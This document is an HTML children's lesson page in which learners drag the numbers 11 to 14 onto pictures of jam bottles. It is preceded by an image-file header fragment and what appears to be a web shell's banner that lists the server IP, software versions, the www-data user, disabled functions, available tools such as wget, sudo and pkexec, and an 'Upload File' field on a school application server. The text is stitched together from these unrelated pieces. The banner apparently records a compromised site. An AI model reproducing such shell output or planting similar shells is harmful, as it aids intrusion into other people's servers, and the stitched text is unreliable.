????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.55 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelA/Category2/ |
Upload File : |
<!DOCTYPE html>
<html>
<head>
<title>Count the Jam bottles and match</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<script>
function page_preLoad()
{
s_setDeviceTypeLevelCategoryLastLesson(Level.A, Category.No2);
s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.A, Category.No2, 9), true, true);
s_setFooterTable('id_tblFooter', true, true, false, true, true);
var ids_boxes = ['id_box1', 'id_box2', 'id_box3', 'id_box4'];
var ids_headings = ['id_td_heading1', 'id_td_heading2'];
var ids_options = ['id_span_11', 'id_span_12', 'id_span_13', 'id_span_14'];
var ids_All = ids_headings.concat(ids_boxes);
s_adjust_fontSize_for_ids_all_devices(ids_All, 80);
s_adjust_fontSize_for_ids_all_devices(ids_options, 100);
s_init_dropBox_tds_with_drag_here(ids_boxes);
s_init_dropping_spans(ids_options);
var id_tables_array = ['id_table1', 'id_table2'];
s_border_collapse_for_tables_except_android(id_tables_array);
s_setTablesHeightsForIE();
}
function page_onLoad()
{
}
function btnPrevious_click()
{
window.location = 'LevelACat2Lesson08.html';
}
function btnNext_click()
{
window.location = 'LevelACat2Lesson10.html';
}
function btnHome_click()
{
s_btnHomeCategories_click('LevelA');
}
function DragDrop(id_dropBox, ids_array)
{
if (s_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array))
{
s_setTextAndBackgroundColorToGreenAndIsMovedTrue(s_currentDropingId, id_dropBox);
isAllInfosMovedShowClapsAnimation();
s_set_currentDropingId_draggbleToFalse();
}
else
{
s_resetCurrentDroppingPosition(id_dropBox);
}
}
function isAllInfosMovedShowClapsAnimation()
{
var ids_boxes = ['id_box1', 'id_box2', 'id_box3', 'id_box4'];
s_is_all_infos_filled_show_claps_animationWithIsFilled(ids_boxes);
}
</script>
</head>
<body onload="page_onLoad()">
<div id="s_id_div_message"></div>
<table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" hieghtForIE="84%" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellpadding="2%" cellspacing="0">
<tr height="100%">
<td>
<table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
<tr height="5%">
<td id="id_td_heading1" class="s_style_heading" style="padding-left:2%; border-left: 0px">
Count the <span class="s_style_textRed_color_only">Jam</span> bottles and match the number:
</td>
</tr>
<tr height="8%">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="*" id="id_td_heading2" class="s_style_heading_options">Options:</td>
<td id="id_td_12" width="20%" style="text-align: center" draggable="true" ondragstart="s_dragStartNew(event)"><span id="id_span_12" class="s_style_draggable_text">12</span></td>
<td id="id_td_11" width="20%" style="text-align: center" draggable="true" ondragstart="s_dragStartNew(event)"><span id="id_span_11" class="s_style_draggable_text">11</span></td>
<td id="id_td_14" width="20%" style="text-align: center" draggable="true" ondragstart="s_dragStartNew(event)"><span id="id_span_14" class="s_style_draggable_text">14</span></td>
<td id="id_td_13" width="20%" style="text-align: center" draggable="true" ondragstart="s_dragStartNew(event)"><span id="id_span_13" class="s_style_draggable_text">13</span></td>
</tr>
</table>
</td>
</tr>
<tr height="*" hieghtForIE="85%">
<td>
<table id="id_table2" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse; border-left:none; border-right:none; border-top:none; border-bottom:none">
<tr id="id_tr_1" height="25%"
ondragover="s_highlight('id_box1'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_box1')"
ondrop="DragDrop('id_box1', ['id_span_11'])">
<td width="70%" style="text-align: left">
<img id="id_imgCount1" src="../../../img/LevelA/Category2/LevelACat2Lesson09/jambottles11.png" width="80%" draggable="false">
</td>
<td id="id_box1" class="cls_box2 s_style_droppable_dash" width="*" style="text-align: center; border-right: 0px">__</td>
</tr>
<tr id="id_tr_2" height="25%"
ondragover="s_highlight('id_box2'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_box2')"
ondrop="DragDrop('id_box2', ['id_span_12'])">
<td width="70%" style="text-align: left">
<img id="id_imgCount2" src="../../../img/LevelA/Category2/LevelACat2Lesson09/jambottles12.png" width="80%" draggable="false">
</td>
<td id="id_box2" class="cls_box1 s_style_droppable_dash" width="*" style="text-align: center">__</td>
</tr>
<tr id="id_tr_3" height="25%"
ondragover="s_highlight('id_box3'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_box3')"
ondrop="DragDrop('id_box3', ['id_span_13'])">
<td width="70%" style="text-align: left">
<img id="id_imgCount3" src="../../../img/LevelA/Category2/LevelACat2Lesson09/jambottles13.png" width="80%" draggable="false">
</td>
<td id="id_box3" class="cls_box3 s_style_droppable_dash" width="*" style="text-align: center">__</td>
</tr>
<tr id="id_tr_4" height="*" hieghtForIE="20%"
ondragover="s_highlight('id_box4'); s_allowDrop_web(event)"
ondragleave="s_un_highlight('id_box4')"
ondrop="DragDrop('id_box4', ['id_span_14'])">
<td width="70%" style="text-align: left">
<img id="id_imgCount4" src="../../../img/LevelA/Category2/LevelACat2Lesson09/jambottles14.png" width="80%" draggable="false">
</td>
<td id="id_box4" class="cls_box5 s_style_droppable_dash" width="*" style="text-align: center">__</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
new webkit_draggable('id_span_11', {handle : 'id_td_11', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_12', {handle : 'id_td_12', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_13', {handle : 'id_td_13', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
new webkit_draggable('id_span_14', {handle : 'id_td_14', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
webkit_drop.add('id_tr_1', {onOver : function(){s_highlight('id_box1')}, onOut : function(){s_un_highlight('id_box1')}, onDrop : function(){DragDrop('id_box1', ['id_span_11'])}});
webkit_drop.add('id_tr_2', {onOver : function(){s_highlight('id_box2')}, onOut : function(){s_un_highlight('id_box2')}, onDrop : function(){DragDrop('id_box2', ['id_span_12'])}});
webkit_drop.add('id_tr_3', {onOver : function(){s_highlight('id_box3')}, onOut : function(){s_un_highlight('id_box3')}, onDrop : function(){DragDrop('id_box3', ['id_span_13'])}});
webkit_drop.add('id_tr_4', {onOver : function(){s_highlight('id_box4')}, onOut : function(){s_un_highlight('id_box4')}, onDrop : function(){DragDrop('id_box4', ['id_span_14'])}});
</script>
</body>
</html>